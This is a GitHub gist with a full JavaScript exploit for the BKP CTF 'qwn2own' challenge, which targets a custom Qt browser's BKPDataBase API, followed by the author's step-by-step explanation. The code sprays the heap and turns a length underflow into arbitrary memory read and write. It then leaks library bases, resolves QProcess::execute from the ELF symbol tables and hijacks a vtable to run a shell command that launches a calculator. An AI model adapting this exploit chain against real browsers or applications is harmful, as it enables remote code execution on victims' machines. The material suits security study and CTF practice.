Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created March 30, 2016 18:05
Show Gist options
  • Save Jinmo/bcbafb9b8298220e0cee56614b65bb50 to your computer and use it in GitHub Desktop.
Save Jinmo/bcbafb9b8298220e0cee56614b65bb50 to your computer and use it in GitHub Desktop.
BKP qwn2own
<html>
<head>
<script type="text/javascript">
function qs(addr, read) {
var s = '';
var i;
var c = 0;
for(i = 0; i < 50; i++) {
c = (read(addr + i - 2) >> 16) & 0xff;
if(c == 0) return s;
s += String.fromCharCode(c);
}
return s;
}
function pack(x) {
return eval('0x'+x.split('').map(function(x){return ("000" + x.charCodeAt(0).toString(16)).slice(-4);}).join(''));
}
try
{
function exploit()
{
var spray = [];
for(i = 0; i < 50000; i++)
spray.push(new Array(0x2).join("AAAAAAAA"));
var db = BKPDataBase.create('db', 'pw');
var store = db.createStore('int', 1, [1], 1337);
var store2 = db.createStore("mykeyedstore", 1, [1], 0xcc31337cc);
var store3 = db.createStore("mykeyedstore", 1, spray, 0xcc31337cc);
var cmd = " sh -c \\/us\\r/b\\in/\\gno\\me-\\cal\\cul\\ator";
var CMD = [];
for(i = 0; i < cmd.length; i+= 4) {
CMD.push(pack(cmd.substr(i, 4).split('').reverse().join('')));
}
var CMDlength = CMD.length;
store.cut(-2, 0);
var result = [];
var base = 0;
var vector = 0;
var voffset = 0x18;
for(i = 0; i < 0x1000; i++)
{
if(store.get(i) == 0xcc31337cc)
{
var x = store.get(i - 6);
var y = store.get(i - 4);
if(((x & 0xfff) == 0x400) && ((y & 0xff) == 1) )
{
vector = store.get(i - 2);
store2.cut(-2, 0);
store2.insert(0, -4294967294);
store2.insert(1, 0);
base = x - 0x210400;
if(base & 0xfff != 0) continue;
function write(addr, value) {
// alert('write');
// alert(store2.size());
store2.insert(2, 0x6161616161616161);
store.insert(i - 2, vector + 0x18);
store2.insert(0, value);
store.insert(i - 2, vector);
}
function read(addr) {
var val;
store2.insert(2, addr - vector - 0x18);
store.insert(i - 2, vector + 0x18);
val = store2.get(0);
store.insert(i - 2, vector);
return val;
}
var memset = read(base + 0x210F98);
var libc_base = memset - memset % 0x1000;
for( ;; libc_base -= 0x1000 ) {
if((read(libc_base) & 0xffffffff) == 0x464c457f)
break;
}
var prog = read(libc_base + 32) + libc_base;
var type, dynamic;
for(j = 0; ; j++) {
type = read(prog + j * 56) & 0xffffffff;
if(type == 2) {
dynamic = read(prog + j * 56 + 16) + libc_base;
break;
}
}
var strtab = 0, symtab = 0;
var addr = 0;
for(j = 0; j > -1, !strtab || !symtab; j++) {
type = read(dynamic + j * 16);
addr = read(dynamic + j * 16 + 8);
if(type == 5) strtab = addr;
if(type == 6) symtab = addr;
}
// alert(symtab.toString(16));
// alert(strtab.toString(16));
var system = 0, name = '', s = '';
var index;
function resolve(f_name) {
var f_name = f_name;
var end = 24 - f_name.length;
var is_f;
for(j = 0; j > -1; j++) {
offset = read(symtab + j * 24) & 0xffffffff;
if(offset <= 0) continue;
name = qs(strtab + offset, read);
is_f = name == f_name;
if(is_f) {
return read(symtab + j * 24 + 8) + libc_base;
}
s += (name);
delete name;
}
}
exec = resolve('_ZN8QProcess7executeERK7QString');
// alert(exec.toString(16));
store2.insert(0, exec);
store2.insert(2, 0x18);
for(j = 0; j < CMDlength; j++) store2.insert(3 + j, CMD[j] );
store.insert(i - 6, vector + 0x18);
for(j = 0; j < 0x1; j++)
store2.getall();
// location.reload();
}
}
}
location.reload();
}
exploit();
} catch(e) {
alert(e);
}
</script>
</head>
<body>
</body>
@Jinmo
Copy link
Author

Jinmo commented Mar 30, 2016

There are some unused functions in exploit, because it wasn't needed or it had a bug.

  1. erase -2 of first store to set length as -1 (arbitrary R/W in 32bit memory area)
  2. find second store with the ttl value via first store
  3. set store2 QVector's offset value to get 64-bit memory area arbitrary R/W (we discovered offset value via reversing binary)
  4. leak binary base with vftable (relative address is fixed because the binary was given)
  5. leak QtCore.so.5 binary base via an already-called GOT function and obtain QProcess::execute(QString *cmd)
  6. modify vftable of store2 that it will contain virtual function of QProcess::execute
  7. call virtual function of store2 to trigger

Because QString's structure is similar with QVector, store QVector can be used itself as command-line string value.
To solve floating point problem which can't store LSBs, we used sh -c and some backslash characters to clear LSB in command line characters.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment